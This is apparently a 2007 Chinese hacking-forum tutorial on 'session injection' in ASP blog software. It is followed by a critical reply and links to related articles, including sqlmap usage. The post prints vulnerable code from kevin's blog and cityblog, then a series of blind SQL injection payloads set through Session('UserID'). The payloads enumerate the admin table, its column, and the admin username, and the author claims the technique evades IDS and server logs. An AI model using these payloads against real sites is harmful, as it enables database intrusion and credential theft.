新型注入方式直击网络——session注入探究

原创 2007年09月29日 21:32:00
首先说明,本文不是讲session欺骗方法或原理。
    1年前流转跟我说他有一个想法,就是session注入,当时我认为有点不可能,因为session很少进库的,就算进库了,也注射不了,就算能注射,也不能回显,对access没什么用处。后来看“寂寞的刺猬”大哥写的一篇漏洞分析文章的时候无意中发现他截取的代码里有session进库了,所以昨晚无聊,就test了起来。
    我们首先可以来证明一下session是否能注入,来看kevin's blog的setting.asp文件的一段代码(kevin大家不要打我哦=):
....省略....
Copy code
<%
if session("Admin")<>"ok" then
response.redirect("index.asp")
end if
if request.Form("passwd")<>"" and request.Form("passwd1")<>"" and request.Form("passwd2")<>"" then
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
if oldpass<>request.Form("passwd") then
response.write "第一次验证失败<br>"
else
if request.Form("passwd1")<>request.Form("passwd2") then
response.write "两次输入不同<br>"
else
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
end if
end if
end if
%>

....省略....
    这个是修改管理员密码的文件,但是请大家注意这一句“sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"”,看到了吧session居然进库了,出于测试的目的,我们把它的代码改一下,去掉管理员认证。代码如下:
....省略....
Copy code
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

....省略....
    我把它保存为1.asp,现在我们来构造一个2.asp,代码如下:
Copy code
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>

    这里要注意一下,kevin's blog的管理员名为Huanhuan,密码为123456。OK,我们先打开这个2.asp文件,然后再打开1.asp,其他的地方不用输入,只要在“新管理密码”里输入新的密码就行,我们来输入1234,然后点提交,如图1。


    修改失败,呵呵,我们把2.asp的代码改为如下:
Copy code
<%
session("user")="Huanhuan'and 1=1 and '1'='1"
%>

    再修改下密码,怎么样,修改成功了吧,如图2。


    这样初步证明了session是可以注入的,但是我想如果没有实例的话大家可能不会服,好的,我们来看实例。就拿cityblog来做个例子,cityblog是一款多用户blog,读过它的代码的人都知道,它过滤得非常严谨。我们来看UserManage/Article_Del.Asp文件的一段代码:
....省略....
Copy code

IF CblogObj.FormRequest("Action")="delete" And CblogObj.FormRequest("ArticleID")<>"" Then
Dim ArticleID,Ch
ArticleID=CblogObj.FormRequest("ArticleID")

....省略....
Copy code
Set Rs=Conn.Execute("Select Article_Code From Article Where Article_ID IN("& ArticleID &") GROUP BY Article_Code")
DO While Not Rs.Eof
Ch=Ch & "|" & "Article_ByClass" & Rs(0)
RS.MoveNext
Loop
Rs.Close:Set Rs=Nothing
IF INSTR(Ch,"|")>0 Then
Ch=Mid(Ch,2)
End IF
Conn.Execute "Delete From Article Where User_ID="& Session("UserID") &" And Article_ID IN("& ArticleID &")"
Conn.Execute "Delete From Tb_Reply Where Reply_User="& Session("UserID") &" And Reply_Blog_ID IN("& ArticleID &")"
Conn.Execute("delete from TrackBack where ArticleID in("& ArticleID &")")

....省略....
    ArticleID在赋值的时候就做了过滤,但是我们看看Session("UserID")这个session变量,根本没做过滤就丢到库里了,呵呵,大家不用急着看注入结果,我们先来从session欺骗去攻击他。
    注册两个,一个名为asdasd,密码111111;另一个为asdasdaa,密码222222,用asdasd发表一篇日志,名为“aaaaaaa”内容随便;用asdasdaa发表一篇名为“bbbbbbbb”的日志。然后用asdasdaa用户进入“日志列表”里,现在我们来构造一个设置session的asp文件s.asp,代码如下:
Copy code
<%
Session("UserID")="105"
%>

    这里可能有人会问,怎么确定userid呢?请看图3。


    “user0”跟着后面的那个数字就是userid了,这里asdasd的userid为105,asdasdaa的userid为106。我们打开s.asp,然后刷新一下“日志列表”页面,如图4。


    看到了吗?asdasd发表的日志显赫的摆在眼前,而且还能删除。
    呵呵,欺骗成功了。现在我们从session注入的角度来攻击他,我们用asdasdaa发8篇日志,然后构造设置session的文件s.asp,代码如下:
Copy code
<%
Session("UserID")="106 and 1=1"
%>

    我们打开s.asp,然后随便选中一篇日志(要记住这篇日志的名称),点击“删除”按钮,删除成功!再来,我们吧s.asp的代码改为:
Copy code
<%
Session("UserID")="106 and 1=2"
%>

    打开s.asp,然后随便选中一篇点击日志(记住日志名称),然后点击删除,提示删除成功了,但是我们回到“日志列表”看一看,居然没有日志了,如图5


    呵呵,我们重新登录asdasdaa一下,打开“日志列表”看看,哈哈!除了and 1=1删除的那篇日志之外,其他的日志都存在。我们看把代码修改为:
Copy code
<%
Session("UserID")="106 and exists(select count(*) from tb_admin)"
%>

    然后随便点一篇日志删除(记住日志名,下面不打了。累....),哈哈,删除成功,证明存在tb_admin这个表。再来,把代码修改为:
Copy code
<%
Session("UserID")="106 and exists(select count(*) from tb_adm)"
%>

    删除一篇日志,哈哈出现了and 1=2的页面,证明不存在表tb_adm。继续测试,代码如下:
Copy code
<%
Session("UserID")="106 and exists(select Blog_Admin_Name from tb_admin)"
%>

    删除日志成功,证明tb_admin中存在Blog_Admin_Name字段,呵呵。再来,代码如下:
Copy code
<%
Session("UserID")="106 and exists(select len(Blog_Admin_Name) from tb_admin)=5"
%>

    删除成功,说明Blog_Admin_Name中的第一个管理员用户名的长度为5。再来,代码如下:
Copy code
<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)='j'"
%>

    日志全没了,说明Blog_Admin_Name字段的第一个管理员名的第一个字符不是j。再来,代码如下:
Copy code
<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)='a'"
%>

    删除成功,说明Blog_Admin_Name字段的第一个管理员名的第一个字符是a。继续继续,代码如下:
Copy code
<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,5) from tb_admin)='admin'"
%>

    删除成功,说明Blog_Admin_Name字段的第一个管理员的用户名为admin。
    继续....(后面的你们来继续了=)
    总结一下,这种方法的注入虽然比较麻烦,也有一定的局限性(必须拿下一个PZ站),但是他胜在是永远是一个变量,只是临时存在于服务器,IDS什么的都不能检测,倒,IIS也更不会有什么记录。我测试的是access数据库的,MSSQL的那就请大家自行测试了。还要说一下,PHP中貌似还有一个函数能构造注入,虽然很少能进库,但是也是一种新的攻击方法,因为我的mysql5.0有点问题,所以测试不了,有兴趣的朋友可以自行测试。PHP的session注入我也没测试,也不知道诸如“'”“/”之类的会不会被替换掉。好了,文章到这里,随便说下我的测试环境:WinXP+IIS5.1+Access。
    研究了一个通宵了,如果文章有什么疏漏还请各位指点,不要骂我哦。=)


[ 此贴被eviloctal在2007-08-04 23:14重新编辑 ]
顶端 Posted: 2007-08-04 12:43 | [楼 主]
cnlnfjhh

该用户目前不在线
级别: 荣誉会员
精华: 0
发帖: 62
威望: 957 点
金钱: 9860 点
贡献: 0 点
资历: 0 点
在线时间:50(小时)
注册时间:2006-10-03
最后登录:2007-09-24
查看作者资料 发送短消息 引用回复这个帖子 推荐此帖

 

徒弟的帖子 顶下

<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
-----------------
这个是没有验证的页面

而“sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"”
这里调用的过程的没有验证是无法执行的

而你保存的
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

去掉了条件限制,所以成功了。

session注射 其实也就是sql注射的一种
条件限制太多
所以人也就没重视


没有验证方式的session
 

spring 自动注入Hibernate中的SessionFactory 探索

之前用Spring的注解模式配置Hibernate的时候觉得很简单。 使用@autowire 自动注入 @Autowired private SessionFactory sessionFacto...
  • XRYMIBZ
  • XRYMIBZ
  • 2017年04月18日 12:29
  • 1105

session标签实例:简单的系统登录代码(巧妙地避开SQL注入攻击)

提交用户名和密码到服务器,以用户为条件查询用户记录,然后判断用户是不是已经注册,若注册就判断密码是否正确,正确则成功登录,在会话中记录用户的相关信息。查询中只以用户名为条件,让数据库从单列索引中快速找...
  • tx18
  • tx18
  • 2015年03月07日 18:57
  • 1105

PHP安全编程:会话数据注入

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户...
  • liangpz521
  • liangpz521
  • 2014年09月07日 19:16
  • 874

sqlmap的注入方式

第一种:普通的注入方式 第一步:首先进行 -u操作,比如:-u "http://www.target.com/vuln.php?id=1" 第二步:进行-D暴库操作 sqlmap -u "http...
  • u012804180
  • u012804180
  • 2016年07月08日 16:21
  • 340

SQL注入-有回显的注入

1.MySQL相关 在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息 information_schema.columns包含所有表的字段 ...
  • slip_666
  • slip_666
  • 2018年01月12日 00:13
  • 20

spring的五种依赖注入方式

平常的java开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,spring提出了依赖注入的思想,即依赖类不由程...
  • shadow_zed
  • shadow_zed
  • 2017年05月19日 22:35
  • 2004

深入浅出spring IOC中三种依赖注入方式

深入浅出spring IOC中三种依赖注入方式 spring的核心思想是IOC和AOP,IOC-控制反转,是一个重要的面向对象编程的法则来消减计算机程序的耦合问题,控制反转一般分为两种类型,依赖...
  • u011637069
  • u011637069
  • 2016年07月19日 19:53
  • 30143

AngularJS基础 之 依赖注入的几种方法

本文参考AngularJs权威指南 概念依赖注入是一种设计模式,它可以去除对依赖关系的硬编码,从而可以在运行时改变甚至移除依赖关系。从功能上看,依赖注入会事先自动查找依赖关系,并将注入目标告知被依赖的...
  • Luo_xinran
  • Luo_xinran
  • 2016年08月08日 17:24
  • 3464

Spring Ioc注入的四种方式

Spring支持的注入方式共有四种:set注入、构造注入、静态工厂注入、实例化工厂.以下列举常用的两个注入的方式:一:set注入1.创建一个UserDao的类package com.shuaiwen....
  • xshuaiwen
  • xshuaiwen
  • 2017年02月13日 21:33
  • 438

Spring学习笔记(6)---------IoC的三种注入方式

接口注入(不推荐)构造器注入(死的应用)getter,setter方式注入(比较常用) Type1 接口注入 我们常常借助接口来将调用者与实现者分离。如: public class ClassA...
  • u011225629
  • u011225629
  • 2015年05月02日 09:07
  • 1821
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:新型注入方式直击网络——session注入探究
举报原因:
原因补充:

(最多只允许输入30个字)